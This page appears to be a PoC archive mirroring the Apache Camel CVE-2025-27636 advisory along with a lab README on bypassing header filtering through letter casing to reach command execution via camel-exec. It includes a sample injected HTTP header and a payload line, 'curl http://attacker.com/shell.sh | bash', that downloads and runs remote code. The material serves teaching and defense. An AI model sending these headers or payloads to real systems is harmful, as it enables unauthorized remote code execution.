Goal Reached Thanks to every supporter β€” we hit 100%!

Goal: 1000 CNY Β· Raised: 1000 CNY

100.0%

CVE-2025-27636 PoC β€” Apache Camel: Camel Message Header Injection via Improper Filtering

Source
Associated Vulnerability
Title:Apache Camel: Camel Message Header Injection via Improper Filtering (CVE-2025-27636)
Description:Bypass/Injection vulnerability in Apache Camel components under particular conditions. This issue affects Apache Camel: from 4.10.0 through <= 4.10.1, from 4.8.0 through <= 4.8.4, from 3.10.0 through <= 3.22.3. Users are recommended to upgrade to version 4.10.2 for 4.10.x LTS, 4.8.5 for 4.8.x LTS and 3.22.4 for 3.x releases. This vulnerability is present in Camel's default incoming header filter, that allows an attacker to include Camel specific headers that for some Camel components can alter the behaviours such as the camel-bean component, to call another method on the bean, than was coded in the application. In the camel-jms component, then a malicious header can be used to send the message to another queue (on the same broker) than was coded in the application. This could also be seen by using the camel-exec component The attacker would need to inject custom headers, such as HTTP protocols. So if you have Camel applications that are directly connected to the internet via HTTP, then an attacker could include malicious HTTP headers in the HTTP requests that are send to the Camel application. All the known Camel HTTP component such as camel-servlet, camel-jetty, camel-undertow, camel-platform-http, and camel-netty-http would be vulnerable out of the box. In these conditions an attacker could be able to forge a Camel header name and make the bean component invoking other methods in the same bean. In terms of usage of the default header filter strategy the list of components using that is: * camel-activemq * camel-activemq6 * camel-amqp * camel-aws2-sqs * camel-azure-servicebus * camel-cxf-rest * camel-cxf-soap * camel-http * camel-jetty * camel-jms * camel-kafka * camel-knative * camel-mail * camel-nats * camel-netty-http * camel-platform-http * camel-rest * camel-sjms * camel-spring-rabbitmq * camel-stomp * camel-tahu * camel-undertow * camel-xmpp The vulnerability arises due to a bug in the default filtering mechanism that only blocks headers starting with "Camel", "camel", or "org.apache.camel.".Β  Mitigation:Β You can easily work around this in your Camel applications by removing theΒ headers in your Camel routes. There are many ways of doing this, alsoΒ globally or per route. This means you could use the removeHeaders EIP, to filter out anything like "cAmel, cAMEL" etc, or in general everything not starting with "Camel", "camel" or "org.apache.camel.".
Readme

---
# πŸ›‘οΈ CVE-2025-27636 β€” Practical Exploitation Lab for Apache Camel

## πŸ” Overview

**CVE-2025-27636** is a critical **Remote Code Execution (RCE)** vulnerability in **Apache Camel**, specifically in the **`camel-exec`** component. It stems from a subtle but dangerous issue:

> **The `DefaultHeaderFilterStrategy` performs case-sensitive checks on header names, which can be bypassed using alternate casing.**

This means internal Camel headersβ€”such as `CamelExecCommandExecutable`β€”that should be blocked can slip through if their casing is manipulated (e.g., `cAmeLexecCommandExecutable`).

When this header reaches the `exec:` endpoint, an attacker can **inject arbitrary commands**, leading to full system compromise.

---

## πŸ“Œ Technical Background

### βœ… `DefaultHeaderFilterStrategy`

Apache Camel’s `DefaultHeaderFilterStrategy` is intended to **protect internal headers** like:

- `CamelHttp*`
- `CamelFile*`
- `CamelExecCommandExecutable` ← 🚨 vulnerable if casing bypasses the filter


πŸ” What Does "Internal" Mean?
Internal headers are:

Prefixed with Camel*

Used only within Camel to control behavior (routing, processing, endpoints)

Not intended to be exposed to external systems like HTTP, JMS, etc.



However, prior to the patch, this filter **matched header names case-sensitively**, which violates the HTTP spec (where headers are case-insensitive) and allows bypasses such as:

```http
GET /systeminfo HTTP/1.1
Host: target-ip:8484
cAmeLexecCommandExecutable: /bin/bash -c "touch /tmp/pwned"
````

This header would be passed through to the `exec:` component, which then executes the payload.

### πŸ› οΈ `CamelExecCommandExecutable`

This header tells the `camel-exec` component **which command** to run. It’s powerfulβ€”and **extremely dangerous**β€”if user-controllable, especially in environments that support OS-level commands (e.g., `bash`, `cmd.exe`, etc.).

---

## πŸ§ͺ Hands-On Lab: Pinewood Server Diagnostic

**Project**: `Pinewood Server Diagnostic`
**Author**: [@enochgitgamefied](https://github.com/enochgitgamefied)
**Goal**: Reproduce CVE-2025-27636 in a live, educational lab.

---

## πŸ”— GitHub Repository

πŸ‘‰ [https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab](https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab)

---

## πŸ“ Project Overview

* Built with **Apache Camel 4.10.0**
* Routes:

  * `/tasks` β†’ Lists tasks using `exec:tasklist` or `exec:ps`
  * `/systeminfo` β†’ Outputs OS info (`systeminfo` or `uname -a`)
  * `/network` β†’ Shows `ipconfig` or `ifconfig`
* Web UI served on `/` using embedded Jetty
* Vulnerable to modified-case header injection if filtering is not patched

---

## βš™οΈ Getting Started

```bash
# Clone the repository
git clone https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab.git
cd CVE-2025-27636-Pratctical-Lab

# Package the app
mvn clean package

# Run it
java -jar target/hello-camel-1.0-SNAPSHOT.jar
```

Then visit in your browser:

πŸ–₯️ `http://<your-ip>:8484`

---

## 🚨 Demonstrating the Vulnerability

**Unpatched behavior:**

If you send a header like this (notice casing):

```
cAmeLexecCommandExecutable: whoami
```

The filter doesn't block it, and it gets passed to the `exec:` endpoint. You can demonstrate:

* `whoami`
* `uname -a`
* `bash -c "curl http://attacker.com/shell.sh | bash"` ← dangerous

---

## πŸŽ₯  YouTube Demo

A complete demonstration is being prepared and will be uploaded soon. It will walk through:

* Application setup
* Header injection
* Command execution
* Remediation steps

Demo Link on Youtube **https://www.youtube.com/watch?v=z4Xf9LYXc9o&t=714s**!

---

## πŸ›‘οΈ Mitigation & Fix

1. **Upgrade Apache Camel** to a version with **case-insensitive header filtering** (this is patched).
2. Use a **custom `HeaderFilterStrategy`** if you must enforce stricter logic.
3. Do **not** expose `exec:` routes directly to HTTP unless fully locked down.

---

## 🧠 Key Takeaways

* Internal headers must **never** be controllable by external users.
* **Case sensitivity** in security filters is a well-known anti-pattern.
* Apache Camel is powerful, but with that power comes **responsibility**β€”especially when chaining HTTP to `exec`.

---

## ⚠️ Disclaimer

This lab is designed for **educational** and **controlled lab** purposes only.
**Never** attempt this on unauthorized systems or networks.

<img width="1279" alt="Apache Camel2" src="https://github.com/user-attachments/assets/e8583cb6-b993-4b37-9ae7-5c8776cf5ae2" />



File Snapshot

[4.0K] /data/pocs/fac7d1c2041abf0c89bcccaee5efa5ee351dc55b β”œβ”€β”€ [2.4K] pom.xml β”œβ”€β”€ [4.4K] README.md β”œβ”€β”€ [4.0K] src β”‚Β Β  └── [4.0K] main β”‚Β Β  β”œβ”€β”€ [4.0K] java β”‚Β Β  β”‚Β Β  └── [4.0K] com β”‚Β Β  β”‚Β Β  └── [4.0K] enoch β”‚Β Β  β”‚Β Β  └── [4.0K] vulncamel β”‚Β Β  β”‚Β Β  └── [4.6K] PinewoodAutoShopCamel.java β”‚Β Β  └── [4.0K] resources β”‚Β Β  β”œβ”€β”€ [ 936] application.properties β”‚Β Β  └── [4.0K] static β”‚Β Β  └── [2.8K] index.html └── [4.0K] target β”œβ”€β”€ [4.0K] classes β”‚Β Β  β”œβ”€β”€ [ 612] application.properties β”‚Β Β  β”œβ”€β”€ [4.0K] com β”‚Β Β  β”‚Β Β  └── [4.0K] enoch β”‚Β Β  β”‚Β Β  └── [4.0K] vulncamel β”‚Β Β  β”‚Β Β  β”œβ”€β”€ [5.4K] PinewoodAutoShopCamel$1.class β”‚Β Β  β”‚Β Β  └── [3.1K] PinewoodAutoShopCamel.class β”‚Β Β  └── [4.0K] static β”‚Β Β  └── [2.8K] index.html β”œβ”€β”€ [ 15M] hello-camel-1.0-SNAPSHOT.jar β”œβ”€β”€ [4.0K] maven-archiver β”‚Β Β  └── [ 70] pom.properties β”œβ”€β”€ [4.0K] maven-status β”‚Β Β  └── [4.0K] maven-compiler-plugin β”‚Β Β  └── [4.0K] compile β”‚Β Β  └── [4.0K] default-compile β”‚Β Β  β”œβ”€β”€ [ 98] createdFiles.lst β”‚Β Β  └── [ 97] inputFiles.lst └── [8.1K] original-hello-camel-1.0-SNAPSHOT.jar 19 directories, 14 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers β€” if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online β€” thank you for the support. View subscription plans β†’